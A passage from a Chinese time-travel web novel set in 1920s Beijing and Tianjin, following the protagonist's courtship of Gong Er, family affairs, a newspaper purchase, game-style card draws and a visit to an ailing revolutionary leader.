这次他打算把小胡留下,在津门摸摸底,顺便做一些事情。
一夜无话
第二天清早,白敬业收拾好了东西,跟宫老打了招呼。
宫二给他送到了门口。
因为有德田这个国际友人的原因,白大善人临时征用了张少帅的小汽车,准备开车回北平。
反正人家家大业大,不差这一两辆。
主要是津门街面上乱,怕德田一露面被人认出来。
他让黄立和德田先上车,自己和宫二做着道别。
“若梅,要是觉得在家待的没意思,就上北平转转,北平的元宵节可好玩了,我带你好好逛逛。”
宫二含羞带笑的微微颔首,也没说去,也没说不去。
白敬业从大衣里掏出一个小盒子,塞到宫二的手里。
“前两天和汉卿他们出去,在街上刚好碰到的,你留着玩。”
宫二打开一看,里面是一条金项链。
项链的吊坠是一朵盛开的梅花。
花蕊的中心镶嵌着一颗鸽血红的宝石,克数不大,但却刚好映衬着这朵金梅花。
“白大哥,这太贵重了!”
宫二说着就要还给白敬业。
白敬业一把推了过去,“这朵梅花正好适合你,再说就一条项链不算贵重。”
“就这样,我把小胡留下,宫老那有什么事,你让他跑个腿也方便。”
宫二轻咬嘴唇,重重的点点头,“谢谢你白大哥。”
“走了!”白敬业说着上了车。
宫二目送车子远去,她挑起梅花项链。
鸽血红宝石在阳光下绽放出火彩的光华。
她摸了摸发现梅花的背面还有字,翻过来一看上面刻着‘若梅’二字。
宫二一瞬间感觉整个人麻酥酥的,像被电击了似的。
哪有什么刚刚好!
这是白敬业这孙子专门找银楼的师傅做的,花了小半天的功夫。
一开始师傅还想拿搪,说大过年的不接活,想做等初六以后。
但是当张汉卿的卫兵把**顶在他脑袋上时,他觉得大过年的赚点钱也不是不行。
……
“老东西,就拿这点玩意儿,糊弄鬼呢?”
“大爷,这…这才刚开年,实在是没进项。”
“去**!给他的摊子掀了!”
白敬业坐在车里,皱着眉头看着窗外。
一伙流氓把卖杂货的摊位整个掀翻。
他心里有些疑惑,盘踞在南城的三合帮都被清了,怎么感觉南城比之前还乱。
汽车沿着中轴线穿过正阳门,一直开到白家新宅的门口。
“哎呦,大少爷您可算是回来了”
秉宽见到白敬业,拎着烟袋锅子哆哆嗦嗦迎了上来。
“秉宽爷,您老新年过得挺好的?”
“好好,谢谢大少爷惦记。”
“得嘞,我这有点津门的特产,回头啊,给您送过来,帮着给大伙儿分分”
白敬业说完带着人往里走。
“少爷,少爷,您先等等。”
“怎么了?”
秉宽一脸的愁容,叹道,“您呐,得去老太太那看看,老太太病啦!”
白敬业一怔,随后急忙问道,“不是,我这儿才走几天啊?老太太怎么病了!”
“唉!”
秉宽叹了口气,“前儿个啊初五,老太太照例请药行的堂会,可是呢,七老爷没敢请万小菊,怕玉婷姑奶奶惹事。”
“结果,玉婷姑奶奶扮上了,上台演了那么一出《虹霓关》,您别说演的啊,还真
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像那么回事。”
“直接说!您老在这跟我逗什么闷子呢!”白敬业不耐烦道。
“哎哎,结果一下台,老太太也夸了她一句,说她演的还真像万小菊,简直是一对儿。”
“姑奶奶就说了,本来就是一对儿,还跟老太太说,让她嫁给万小菊。”
“老太太气的一天都没吃饭,大夫说叫什么,胸痹,对就是这病。”
白敬业听完,脑袋‘嗡’了一下,中医的胸痹就是现在的冠心病。
“这怎么话儿说的呀。”白敬业呆愣愣的呢喃了一句。
“少爷,反正您得赶快去,老太太见到您,兴许能好点。”
“哎哎,我知道。”
白敬业说完看向黄立,“舅,你找下增致,给小谭和德田安排房间,就安排在我院里的客房,我得去老宅看看。”
“行,我知道了,你快去吧。”
小谭是张汉卿给他安排的司机兼职保镖,怕他在北平出什么事方便联系。
他的大名叫谭海,也正经是个人物,杨宇霆的终结者,爆头第一人。
白敬业急匆匆的跑到老宅。
刚到月亮门洞,屋里的香秀和槐花就透过玻璃看见了他。
两人都迎了出来。
香秀做了个噤声的手势,压低声音道,“大少爷您回来了,老太太服了药刚睡着。”
“我奶奶怎么样?”
“大夫是不能动气,要静养,应该没什么大事。”
白敬业点了点头,轻声道,“那我等明个再来,让老太太好好睡吧。”
“大少爷您等等”
“怎么了?”
香秀尴尬的笑笑,“七老爷和姑奶奶在前屋呢,您要不要去看看。”
“得”,白敬业心想,“当事人都到了,这精神病的姑奶奶,也够老太太受得了”
“我过去看看”白敬业说完走向前屋。
香秀和槐花看着白敬业的背影,两人咬着耳朵。
“你说大少爷能劝得动姑奶奶么?”
香秀一笑,“我看肯定行,连执政府都奈何不了大少爷,更别提姑奶奶了。”
白敬业刚走到前屋门口,隐约间就听见里面有哭声。
他竖起耳朵一听,里面白玉婷正哭诉着。
“呜呜呜…谁劝也没用!…我非得嫁给万小菊!”
“精神病!什么玩意啊!”白敬业心里暗骂了一句。
第76章 兼挑
黄立原本的想法是在北平待一段,就带母亲回通辽。
总觉得在妹妹家住有种寄人篱下的感觉。
他这人是个红脸汉子,眼睛里不揉沙子。
如今听说外甥要做事自然会支持,而且能留下谁愿意回老家放羊去。
所以他准备明天一早,就给乌勒安答拍电报。
黄立拉来的都是什么人?
那都是能徒手套狼,二十三四的好吧嗒!
互相之间都沾亲带故。
古往今来,做事起家第一批都是家族亲戚。
遇见事真能替你拼命。
第二天一大早。
白敬业就拎着两盒从起士林带回来的西式糕点到了老宅。
香秀正在外边逗着大顶子。
一见他就兴高采烈的打着招呼,“大少爷您早。”
白敬业点点头,“奶奶醒了么?”
“醒了醒了,我给您传话。”
说着她‘噔噔蹬’跑进屋里,“老太太,大少爷来了。”
“快让他进来!”
白敬业听见声音,一挑帘拢进了屋内。
老太太靠在床上,槐花端着碗正哄着她吃饭呢。
“呦~奶奶!您怎么比我走之前瘦这么多啊!”
白敬业惊呼道,然后顺手从槐花手中接过粥碗,坐在老太太旁边。
“奶奶,谁惹您生气了,您跟孙子说,孙子帮您出气去。”他一边说着、一边舀起一勺粥,送进老太太口中。
白敬业哄老太太正经是有一手。
二老太太看见孙子,觉得胸也不闷了,病也好的多了。
她眼角都充满笑意,“唉,奶奶看见你啊,这病就好多了。”
白敬业又舀起一勺,“奶奶,要我说啊,甭跟那帮不懂事的生气,您呐,得活个长命百岁的,将来还得多抱几个重孙子。”
他为了哄老太太,准备先抛出一个**,把白玉婷的事遮过去。
“呵呵呵,你呀就会哄奶奶开心,也还真是,你那媳妇的肚子怎么生了占元后,老也不见动静?”
“奶奶咱先吃,吃完了孙子告诉你件事儿。”
“还跟奶奶打上哑谜了。”
不一会儿,白敬业就哄着老太太喝了一碗粥。
“奶奶,我喜欢上一姑娘!”
“谁家的姑娘啊?”,老太太也没多惊讶,以为他要娶姨太太。
这时候大户人家多个两三房姨太太常有的事。
“嘿嘿”,白敬业傻笑道,“津门宫家的姑娘。”
“他家?”
老太太诧异道,“这宫家的宫宝森,当年我还见过一面呢。”
“是么奶奶?”
老太太点点头,“当年老佛爷西狩,沈家献上了咱们家的八宝丸。”
“他是当时的侍卫统领,跟着一起来过来咱们家封赏。”
“听说他只有一个独女,能让闺女做姨太太么?”老太太担忧道。
白敬业晃了晃头,笑道,“奶奶,我要明媒正娶她。”
老太太一听,脸色微变,“你要休妻?那可不行,咱们白家不能干这种事!”
白敬业搂着老太太的肩膀,嬉皮笑脸道,“嘿嘿嘿,奶奶您看您又急了,您孙子能那么干么?”
“我想了个好主意,但是得您帮帮我,先说好您可不能生气”
老太太拍拍他的手,“奶奶不生气,你说吧。”
“咳”白敬业清清嗓子,拿了拿腔调,“奶奶,咱们二房一直人少,而且我上边有个亲大爷还没立住。”
二老太太在生下白景琦之前,是有过一胎男孩儿的。
不过生下后不到一周没立住,按照景字辈序齿叫白景山。
每一次请堂会打赏金榜时,都会加上这位三老爷。
老太太还没等白敬业说完就明白了,点着他的额头。
“你想要兼挑?”
白敬业猛猛点头,“怎么样奶奶,您看行么?”
“哈哈哈”
老太太一阵大笑,“你这小猴崽子真是一肚子的主意,奶奶看啊行!”
“唉!”
白敬业叹了口气,苦着脸说道,“奶奶,咱这边打算的挺好,还不知道人家那边愿不愿意呢。”
他晃着老太太的胳膊,“您呐,得好好帮所以谋划谋划。”
“呵呵呵”
老太太被他晃得直晕,“好好,奶奶一定帮你。”
白敬业为了哄老太太可谓是煞费苦心。
一方面是为了让老太太转移注意力,不去想白玉婷的事,病自然就好了。
至于白玉婷,她爱嫁谁嫁谁,白敬业管不着。
她要真能嫁一相片,白敬业想好了就真送她一拨浪鼓!
祝她早生贵子。
另一方面,白敬业在宫二身上可是下了功夫。
娶姨太太想都别想!
宫家也
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是高门大院,头牌的人家。
虽然没你白家势力大,但凭什么好好的闺女给你当姨太太。
最好的方法就是兼挑,有着替亲大爷传宗的名分,宫二的身份还在他现在的媳妇之上。
另外,兼挑一门就能多分一份家产!
到时候,哼哼,族中首富就不是她白玉婷了。
白敬业多不要脸啊,他都合计好了,万一白玉婷以后没孩子。
自己再遇上个喜欢的,给她那门也挑喽!
没穿的时候,我特么只能一个。
穿了我特么还一个,那我特么不是白穿了么!
老太太向白敬业询问了许多关于宫二的事情。
姑娘今年多大啦?俊不俊啊?
祖孙俩正聊的时候,门外传来了香秀的声音。
“老太太,禧年堂的大夫到了。”
“请进来。”
禧年堂的大夫背着药箱走了进来,见白敬业也在,向他问了声好。
“奶奶,那我先去办点事,晚点再来看您,晚上陪您吃饭。”
“哎,好”
白敬业说完后转身出了房间。
白家那么多的大夫,为什么还要从别的地方请?
这就涉及到了医药行的规矩。
自家大夫不给自家人看病,这是规矩!
……
白敬业出了老宅坐上车,一路开向李主编的京时报社。
他准备跟李主编谈谈收购报社的事。
白敬业现在身上挂着三军团外事联络官的职务。
但总不能一点事不干,也得替好大哥分分忧。
外事联络官负责外交发声这一块,所以他准备以好大哥的名义,把报社盘到自己的名下。
那他之前为什么不直接收了李主编的报社?
这就涉及到一个问题,报社是赔钱的买卖!
一般的报社背后都有金主,每印一张都是赔钱的。
大伙想想,两个铜板一份报纸够不够成本?
其中还有各个作家和记者的费用。
而背后的金主多是军阀和政府,人家只在乎影响力,不在乎赔钱的。
所以白敬业这回才准备拿着好大哥的钱,办好大哥的事。
借鸡生蛋!
等白敬业到了报社,一看李主编这模样吓了一跳。
头发比之前白了一半。
“我说李哥,您怎么这副模样?什么事愁成这样。”
第77章 久违的统子(1)
李主编见到白敬业,就好像吃奶的孩子见到了妈妈。
一头扎进白敬业怀里,放声哀嚎!
“兄弟…呜呜呜!你可算来了!哥哥都想死你了!”
“哥哥…哥哥命苦啊!”
白敬业使劲挣脱着,“李哥…李哥!撒开!”
他好不容易才挣脱出来,嫌弃的掸了掸西服。
新做的都弄脏了!
白敬业给李主编扶到沙发上,抽出怀里的手绢,又想想塞了回去。
从茶几上的本子里撕了张纸,递了过去,“李哥擦擦,怎么了?跟兄弟我说说。”
“哼…”
李主编拿纸使劲擤了下鼻子,又抹了两把眼泪。
“兄弟,你是不知道,哥哥我可让段歪鼻子收拾得够呛!”
自从白敬业这事出了以后,老段是越想越气。
让自己的秘书去查,究竟是谁在报纸上引起的**。
这一查就查到了李主编的头上。
他是三天两头的被请去喝茶,京时报上一点时政类信息都不让发。
还隔三差五有地痞流氓蹲他家门口吓唬他。
按理说老段是执政府首脑至于这么下作么?
嘿嘿,老段可没说要收拾他,只跟自己秘书说办报社就好好办,不要分不清东南西北。
剩下的事自然有人办,什么事都让领导说,还要手下干什么?
李主编一把鼻涕一把泪讲述着,他攥住白敬业的手,“兄弟,哥哥知道你主意多,快帮哥哥想想办法。”
“如今哥哥的报纸除了你的小说,只能发点桃色新闻了。”
“李哥!是兄弟我连累你了!”
白敬业另一只手也握住李主编的手,郑重道,“兄弟我专程为这件事来的。”
“李哥知道我和奉军有联系吧?”
李主编点点头,“你出来那天,我看见几个穿奉军军服的人送的你。”
“不瞒哥哥,兄弟我现在是三军团外事联络官,中校军衔,负责三军团对外事宜,只对六帅一人汇报!”
“哦~”
李主编的眼睛亮了起来,“兄弟!你发达了!哥哥我这…”
白敬业摆手拦下他的话,“哥哥,兄弟知道您想说什么!”
“六帅来了,报社就安全啦!”
“六帅来了,青天就来啦!”
“以后有六帅做你的金主,咱们的报社想发什么就发什么!你就是天天骂段歪鼻子,他也不敢封了你!”
李主编感动的热泪盈眶,一把抱住白敬业哭喊道。
“兄弟!”
“李哥!”
“弟儿!”
“哥!”
二人激动的抱在一起,嚎叫了好半天,搞得外边撰稿的小编一度以为两人在做些什么不良事宜。
再看李主编这张老脸红扑扑的。
瞬间精神焕发!
“李哥,这次来除了告诉你这个喜讯,还有件事。”
李主编拍着胸脯,一脸的豪迈,“兄弟你尽管开口,哥哥一定办。”
“你手下有没有机灵点的记者,我需要三四个吧,让他们去趟津门,先安顿下来,等我的人去找他们。”
“是六帅的意思?”李主编低声道。
白敬业神秘的点点头。
“你放心兄弟,哥哥马上安排,让他们今天就启程!”
……
“二哥你走一天墙上就划一道啊~。”
“走了两天道就成双啊~”
夜晚,白敬业陪老太太吃晚饭,哼着小曲回到自己的院子。
刚准备回书房,谭海就从客房里跑了出来。
“白长官!”
白敬业一回头,“怎么了小谭?”
“白长官,六帅下午派人来信说,后天他和冯长官要来,对,还有宫小姐,六帅说让您提前准备准备。”
白敬业一愣,问道,“他说没说为什么事来的?”
谭海摇了摇头,“来的人没说。”
“行,我知道了”
白敬业回到书房想了想,刚分开能是因为什么事来呢?
又想到宫二也要来,嘴角勾起一抹弧度,“是得好好准备准备。”
他差人喊来张增致。
“少爷,有什么吩咐?”
“你明天带人,把挨着小花园的那几间客房都收拾出来,使用的手边东西都要最好的,后天有几个贵客要来。”
“还有明天让你妹妹过来,来的客人中有女眷,这几天她帮着照顾,顺便有点事我要交代给她。”
“是,少爷”
白敬业准备给宫二来上一个大大的惊喜。
白氏沟女法则第一条,追女人最重要的是什么?
套路
套路
还是**套路!
张增致走后,白敬业锁好了门,窗帘也都拉好。
哼哼着小曲,走到存放王喜光财产的那些箱子前。
随手打开了一口,里面装的全是现大洋。
药厂的事已经基本落地,抛除需要的20万。
剩下的几万现洋都可以支配,他准备今晚再抽上一万大洋。
他唤醒了久违的系统,输入一万的额度。
箱子里的大洋瞬间少了一半。
白敬业往床上一躺,开始了抽抽乐!
普通、稀有、稀有…
哇,金色传说!
哇
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,金色传说!
史诗
“……”
开卡包就如同做了一场大宝剑
开之前满怀期待
开之后索然无味。
白敬业开始查看起这次的收获。
三张传说卡、五张史诗卡、六十三张稀有卡以及一堆破烂。
比上次强了些,多了一张传说卡。
传说:电弧炉设计图(美国伯利恒钢铁公司设计。)
注释:专用于生产特种合金钢材,此电弧炉为美军在二战武器钢材的提供做出卓越贡献。
前置使用条件:拥有一家钢铁厂。
白敬业皱了皱眉,心想怎么还有前置条件。
他翻看之前抽到的两款卡,越南地图上并没有使用条件。
而青霉素上显示的却是以符合化学LV2。
“怪不得”
白敬业明白了,青霉素的前置条件是化学等级,自己当初使用时以符合,就给忽略了。
看来非实物类的传说卡基本都有前置条件。
电弧炉这张卡值得传说么?
太特么值了
这玩意对民国来说都能赶上神话了,整个民国就没生产出来过特种钢材。
没特种钢也就谈不上造武器,也就只能造点中正式小**,还特么残次品居多。
大笔的钱财都流入美国和买办之手。
他看向下一张卡
传说:德械师整编细则附训练手册(含法肯豪森将军练兵心得)
注释:抗战前期由法肯豪森为白方制定的整训计划,融会贯通后【指挥】+1
这也是正经的好东西,训练军队、居家旅行、**放火必备之物。
九一八之后,日记家和德方交流甚密,计划整编60个德械师,但最后只整训出26个。
但实际上能真被称为德械的只有四个,36、87、88三个师以及教导总队。
其他的叫德盔师更为贴切,但他们奋战的精神绝对不输于德方。
从淞沪开始两年间硬顶住鬼子初期最强烈的攻势,最后富金山一役中成为了绝唱。
二十六个德械师全打没了。
“唉,这东西好是好,可目前一没银子二没人,只能在留你卡池里先吃两年灰吧。”
————
作者希望大佬们喷之前先弄清什么叫整编计划,他是规定了一个师从上到下多少人,有多少配备武器,包括每日怎么训练。
还有说三三制?三三制是战场上打仗的战术好么,跟整编计划有什么关系。
再说完全抄红方现实么?抗战期间红方重武器基本靠缴获,有什么用什么,别那么无脑。
第78章 久违的统子(2)
白敬业一边想着、一边看向下一张。
传说:美式M1式155mm**炮设计图
注释:鹰酱于1942年正式定型列装部队,因外形被称为‘长脚汤姆’。
这款炮在二战后期是华夏军队梦寐以求的武器装备。
精度高、威力猛、机动性强。
但真正让它发光发彩的却是在朝鲜战场。
英勇的志愿军在上甘岭,靠着缴获的**炮,硬是打退了鹰酱10多次进攻。
最懂美械的不是鹰酱而是兔子。
白敬业看着第一张电弧炉和这张**炮,呢喃道。
“这是系统给我的指引,让我下一步往工业化推进啊。”
“要真能赶在龟子大规模侵略前,我能完善整个体系,老子一定给他们煮上一锅钢铁的肉汤!”
白敬业已经想好,下一步就是依靠着青霉素换回来各种工业设施,再加上系统给的帮助,有针对性的建设。
把每一份钢铁,都用在消灭龟子的身上。
缺什么买什么!
再往下看史诗卡,也就那么回事,对比传说肯定是比不了。
技能加点卡一张。
现役苏式步兵连装备一套。
技能卡,绘画LV1
著作《菊与刀》
忠义刀(王五同款)
苏式装备倒是让白敬业挺高兴,自己马上要准备护厂队。
这是想吃奶就来了妈妈!
忠义刀正好还可以给大舅用,就说是铁匠铺仿制的。
不过忠义刀跟那把**和枣泥一样。
在史诗卡中明显属于纪念意义远远大于实用意义。
剩下的卡就杂了很多,37个属性点,一些**短炮,以及一大堆破烂。
白敬业从抽卡后就没买过香烟,抽不完、根本抽不完!
他将技能点加在蛊惑人心上,剩下属性点一股脑的都堆在耐力上。
突然,白敬业感觉从头顶像通过了一股电流。
浑身上下都是麻酥酥的,紧接着开始头晕。
临昏迷前听见系统的机械声音。
“宿主一次性增加单一身体属性过多,强制休眠10小时,便于身体改造。”
“哈欠~”
睡了十个小时的白敬业,起床打了个哈欠,抻抻懒腰。
感觉身上说不出的舒服。
他对着镜子照了照,像个傻子似的笑了起来。
“嘿嘿,还有意外收获。”
大了
大了
肌肉大了!
白敬业看着面板上突破65点的耐力,笑得跟特么朵老菊花似的。
嘴撇的有胜阅兵一个样。
他换好了衣服,也不管外边天还没亮。
主动的扎起马步。
大,还要更大!
吃过早饭后,张增致带着妹妹张月婷来到。
白敬业冲张增致一挥手,“你先去吧,我跟她说点事。”
“是,少爷”
他向旁边的椅子一指,示意张月婷坐下,轻声道。
“那些孩子们都还好么?”
张月婷连连点头,脸上带着笑意,“都好,就是整天吵吵着问,白爸爸什么时候来?”
“哈哈哈”
白敬业大笑,“等过几天我有空就去看看。”
现在收养了六十多个孩子,都由张月婷负责照顾。
当然不可能她自己,还有帮忙的老妈子、伙夫等。
白敬业一共去的次数也不多,但每一次去都会带些好吃的、好玩的。
他还臭不要脸的让所有孩子都叫他白爸爸。
明朝蓝玉军中蓄假子过千。
那还是军中认的,白敬业这是实打实准备养起来的。
“来之前你哥哥都告诉你了么?”
“说了,说是少爷有个朋友,让我帮忙服侍几天。”
白敬业点点头,往前拽了拽凳子,凑近道,“这个朋友啊,和我的关系有点特殊,你要这么……”
他给张月婷灌输了一堆套路,给宫二下着套。
“明白了么?”
“明白了少爷,我一定做好,不耽误您的事。”
“行,你去吧,做好了少爷好好犒劳你。”
张月婷听的小脸红扑扑的,心想少爷哪来的这么多套路,可能这就是报纸上说的恋爱吧。
自古真情留不住,唯有套路得人心。
白敬业坐在椅子上思考着还有什么遗漏的。
突然,一拍脑门,“我怎么把这个忘了,刚学的绘画啊!”
他找来铅笔和画纸,在上边描描画画起来。
……
“妹妹,几天没见还好么?我怎么看着你有些消瘦了。”
白敬业看见宫二等人出站。
上去就接过她手里的行李,丝毫没顾及旁边的张六子和冯庸二人。
冯庸朝着他的屁股踢了一脚,咬牙道,“我说你小子看不见我们俩是么?”
“哎呦~”
白敬业敷衍道,“对不住,二位兄长,小弟还真没看见二位,谁让咱们宫妹妹这么漂
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亮呢?”
宫二白了他一眼,“油嘴滑舌。”
“咳”,张六子轻咳道,“走吧,别在这聊,人多眼杂的。”
这次张六子和冯庸是私服来北平,除了办事处几个嫡系知道,其他人都不知道。
所以只有白敬业等寥寥几人来接站。
他也搞不清这俩神神秘秘干什么来了。
上了车,一行人来到白家门前。
白景琦和大哥白景怡带着人在门口等着呢。
虽说是私服进北平,但你白家也得出人迎着。
那是少帅,东北王的儿子。
“爸、大爷,这是六帅、这是冯庸、这是津门宫会长的女儿宫若梅。”
白敬业给众人挨个介绍一遍。
白景琦拱手抱拳,客气道,“六帅能来到我们府上,真是让我们白家蓬荜生辉。”
张六子连忙摆手,“叔父您客气了,我们跟修合是兄弟,没那么多礼数。”
“快进屋,外边凉咱们别在这儿站着。”白景怡招呼着众人往里请。
众人刚进了二道院,就看见一个小肉球满院乱跑。
奔着白敬业就扑了过来,“爸贝哎~”
宫二的俏脸上的笑容顿时僵硬住了。
连张六子和冯庸也十分不解,给白敬业使着眼色。
白敬业就当没看见,接住大儿子给他抱在怀里,“这两位叫大爷和二大爷。”
“大爷!二大爷!过年好!”
“哎”
张六子和冯庸从兜里掏出两张银票塞到白占元的手里。
“留着买糖吃。”
众人进了正堂,双方寒暄了几句,白敬业就带着张六子两人来到准备好的别院。
让张月婷带着宫二安顿到自己那院的客房。
等屋里就剩白敬业三人的时候。
张六子皱眉道,“我都跟你说,让你安顿下家里,你就这么安顿的?你让宫妹子怎么想?”
白敬业神秘一笑,“山人自有妙计!甭管我了,你们俩为什么来?还搞得这么神秘?”
冯庸从怀里掏出份请柬,轻声道,“你走的当天,我和六子都收到份请柬,你猜猜谁寄来的?”
“铁狮子胡同5号大先生?”
张六子两人怔住,问道,“你怎么知道的?”
“呵呵”白敬业呵呵一笑,“我也收到了,不知道去不去呢?”
张六子点点头,沉吟片刻,“那正好,咱们三个明天就去拜访先生,先生招见,我们没理由不去。”
第79章 拜访
“宫小姐,喝点热茶驱驱寒气。”
张月婷端着杯茶放到宫二面前,轻声笑道,“这是我们少爷特意交代给您准备的黑糖姜枣茶。”
“怕您一路着凉,能驱寒暖身。”
宫二勉强喝了一口,坐在窗台前,头枕在胳膊上,呆呆的看着窗外。
她的眼角眉梢中露出一丝委屈。
她不明白自己是为什么要来?
张六子一跟她说要来北平,她想也没想就答应了。
可是自己早就知道人家成家了,儿子都那么大了,真是不知道来干什么。
宫二胡思乱想着,张月婷望着她的背影偷笑了一声。
也不去搭话,拿起针线笸箩忙乎自己的事。
白氏沟女法则第二条。
热情高了要降温,热情低了要升温。
冷三天、热三天,不紧不慢又三天!
白敬业傻么?张六子都提醒他了,他能不知道?
好大儿是他故意放出来的,让张月婷看见人进来,就把好大儿带出来。
目的就是先泼宫二一盆冷水,看看态度,以便接下来的行动。
夜晚,宫二还是呆呆的坐在窗前。
连白敬业派人请她吃饭都没去。
一直到她看着白敬业回了书房,才起身到床上休息。
第二天上午
艳阳高照,暖阳晒在身上,让人觉得暖乎乎的。
白敬业挑了些滋补的药品,还有白七爷复原的九朝贡胶。
跟着张六子他们直奔铁狮子胡同5号。
三人递上了请柬,时间不长,一个身穿毛呢西装的年轻人迎了出来。
年轻人带着眼镜,面容十分清秀,一脸的书卷气。
“鄙人哲生,有失远迎还望三位兄台见谅。”
张六子拱手道,“汉卿见过哲生兄。”
“在下冯庸”
“在下白修合”
哲生侧身给三人让了进来,伸手往里请,“我父正和同僚商议事情,先到我那坐坐。”
“有劳哲生兄。”
三人跟着哲生来到他的房间内。
进门一看,屋内还有个油头粉面公子哥,翘着二郎腿坐在椅子上。
他见屋内来人站了起来。
哲生拉过他作着介绍,“这位是前政府内阁总理事靳铨之子,靳燕西,也是我的好友。”
“燕西,这三位是张六帅、冯庸和百草厅的白修…”
“我知道!”
靳燕西笑嘻嘻道,“两位大名鼎鼎的汉卿,和搅弄北平的修合先生嘛!”
“嘿嘿,不得不说,修合兄您给老段气够呛,算是替我们家老头子出了口气!”
原来,几年前靳燕西的父亲靳铨和老段也是一个派系的。
但老段在背后和潘雄起一起搞事情,给他搞了下去。
结果随着直系的掌权,潘雄起和老段也都没占到便宜,纷纷下台。
民国的政权迭代,比特娘的换裤衩都勤。
哲生微微皱眉,埋怨道,“燕西慎言,如今掌权的是段总长,你少说两句,早晚你得吃亏在这张嘴上。”
“哈哈哈”
张六子哈哈一笑,“哲生兄,这也没外人,我看燕西兄挺好,快人快语。”
众人落座后,靳燕西看向三人笑道,“三位仁兄,平时喜欢听戏么?”
白敬业和冯庸都摇摇头。
只有张汉卿答道,“也听几场,不知燕西兄最爱听哪位角儿。”
“万小菊啊!”
靳燕西一拍大腿,“我最爱他的宇宙锋!”
他感叹道,“平生不听万小菊,这人呐活着都没意思。”
白敬业暗中翻了个白眼,腹诽道,“这哥们和特么姑奶奶倒是能凑一块去,一看也是魔魔怔怔的。”
张学良听了大笑道,“我也喜欢这出戏。”
白敬业心中冷笑道,“**可不喜欢吗!九一八当晚你听的就是宇宙锋。”
靳燕西见张六子和他爱好相同,可算是找到知音了。
当下滔滔不绝的侃了起来。
什么盔头应该怎么戴,脸上的色应该怎么勾。
哪个叫赶板夺字、哪个叫调底调面。
又侃到哪位角儿上场前得吃牛排,哪个角儿得吃四十个饺子。
给白敬业三人都侃傻了。
张六子爱听戏,他也不太懂里面的事。
白敬业也一样。
冯庸更别提了,还特么赶不上白敬业呢。
白敬业正听得不耐烦,想出去抽颗烟透口气的时候。
外边走进一个军官,“哲生,先生那边结束了。”
哲生点点头,冲三人道,“我去去就回。”
“哲生兄请便。”
时间不长,哲生返了回来,说大先生那边忙完了请三人过去。
白敬业整理整理衣服,跟着他来到大先生的房间。
进房间提鼻子一闻,一股浓浓的药味。
大先生蜷缩在躺椅上,已然是骨瘦嶙峋,强撑着这口气。
他见三人进来,艰难的冲三人招了招手。
“学生张六子,学生冯庸、学生白修合见过先生。”
大先生脸上带着微笑,“坐,都坐。”
“我现在这个样子让你们见笑了,呵呵,早两个月我还能和你们一起喝喝酒,如今不行喽。”
白敬业听着有些心酸,按照时间的进程,这位老人还剩下不到20天的
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命。
“今天找你们来,就是想见见华夏如今的青年俊杰,你们今年都多大年岁?”
张六子一笑,“我们三个同年,二十四岁。”
“二十四…正当年啊!”
大先生说着似乎陷入回忆,口中呢喃道,“昔年檀香山,建立兴中会时,我业以而立之年。”
“三十年细说从前,知我罪我其惟春秋…只恨盛年不在,不能再为我华夏之平等自由,续涂肝脑。”
张六子听后,冲大先生深鞠一躬,“先生,学生拜读您的思想依旧,敢问我华夏之路何在,还望先生不吝赐教。”
大先生撑着躺椅想要坐起来,旁边的侍从伸手将先生扶起。
“令尊旧时风流,但我华夏之前路已非旧时,独行者必会遭四方声讨,还望汉卿你能及时规劝尔父。”
“你东北的地势最为特殊,夹杂在黑白两大帝国之间,黑也想吃、白也想占,不易啊。”
“希望汉卿你能坚持住华夏之一统,华夏之崛起唯有一统!”
大先生说着看向白修合,“修合,你曾在北大说的那句为民族的伟大复兴而读书,甚好!”
“希望你能坚持住心中所想…咳咳咳咳…”
“我是看不到那天了,若你能看见…将来携一壶好酒…替我在坟前做一篇文章…我泉下有知也无憾了。”
“咳咳咳”
白敬业起身来到大先生身边,“晚辈谨记,先生,会有那天的,会有的。”
大先生含笑点了点头,“我相信会有的。”
侍从见先生的精神头有些不足,劝道,“先生,今天就到这里吧。”
大先生挥挥手,侍从拿着一个托盘,上边有着三样物品。
一个卷轴、一只表、一支笔。
“初次见面,也没什么好送你们的,笔给修合、表赠冯庸,这幅字就留给汉卿你了。”
张六子打开卷轴一看,上边写着四个大字。
天下为公!
他郑重的再次向大先生鞠躬道,“请先生放心,学生谨记。”
白敬业临出门前,大先生叫住了他。
“修合!”
“先生您说。”
“你的那句功成不必在我、功成必定有我,你觉得我配得上么?”
“您当之无愧!”
大先生满足的笑笑,挥了挥手。
等出了府邸,原本的艳阳天此时变得灰蒙蒙的。
零星的雪花飘落在三人身上。
他们都觉得心中仿佛有股子郁气难以吐出。
冯庸看着天空,轻声道,“要不喝点去?”
“不醉不归!”
酒醒还醉醉还醒,一笑人间今古!
第80章 男人七分醉,演到你流泪
这顿酒,从下午一直喝到晚上八点多。
桌上的菜换了四五遍。
哥仨似乎有意在回避关于大先生的话题。
谈的净是哪个窑子里的娘们好看,尽是风花雪月。
济丰楼的堂头小栾子,看见这三位爷下楼都费劲,赶紧伸手搀扶。
“少爷少爷,您慢点。”
“嗝!”
白敬业拍拍栾学堂,“小…小软子!伺候的…嗝,不错,赏!”
冯庸也跟着吵吵着,“赏!”
“嗝!”
张六子一瞪眼看向徐承业,“听见没有,赏!”
徐承业从兜里掏出最后的一百大洋银票,塞进栾学堂的手里。
挥挥手让他别再往跟前凑了。
这一晚上,三活爹给他兜里带这点银票全赏空了。
再赏就得去车里取本票。
吃顿饭扔进去三千多!
见人就赏,也不知道受了什么刺激。
跟着一起来的谭海见势头不对,赶紧回办事处叫人。
徐承业正焦急等着呢,门外‘噔噔噔’跑进来六七个卫兵。
见到徐承业还准备敬礼呢。
他一瞪眼,“别他妈敬了,赶紧给三位爷扶车上去。”
好嘛,俩人架一个,连路都走不了了。
济丰楼的掌柜的胆子比较小,见人走后才从柜台里钻出来。
他心有余悸的问道,“栾子,这白少爷带来的都是什么人物?怎么还有当兵的。”
“什么人物?少帅!”
“哪个少帅?”
“还能有几个?”,栾学堂一翻白眼,“两年前吃土龙的那位。”
白家三厅院
宫二此刻已经从委屈失落中走了出来。
怎么说人家也是练武的,拿的起、放的下。
甚至已经做好明天回津门的准备。
她正和张月婷闲聊着,见她一直用针线在补着围脖,疑惑道。
“月婷,昨天看你就一直在补这些东西,这都是给谁做的?也不像白家人用的?”
张月婷甜甜一笑,咬断针上的线头,“都是给孩子们做的。”
“你有孩子了?看你的年龄不太像。”
张月婷摇摇头,“都是少爷收养的孤儿。”
“孤儿?”
“嗯,少爷人心善,见不得这些孩子被教堂里的人**,就都养了起来。”
“一共六十七个孩子,都是**岁的男孩,半大小子闲不住,衣服裤子隔三差五就弄破,我就帮着补补。”
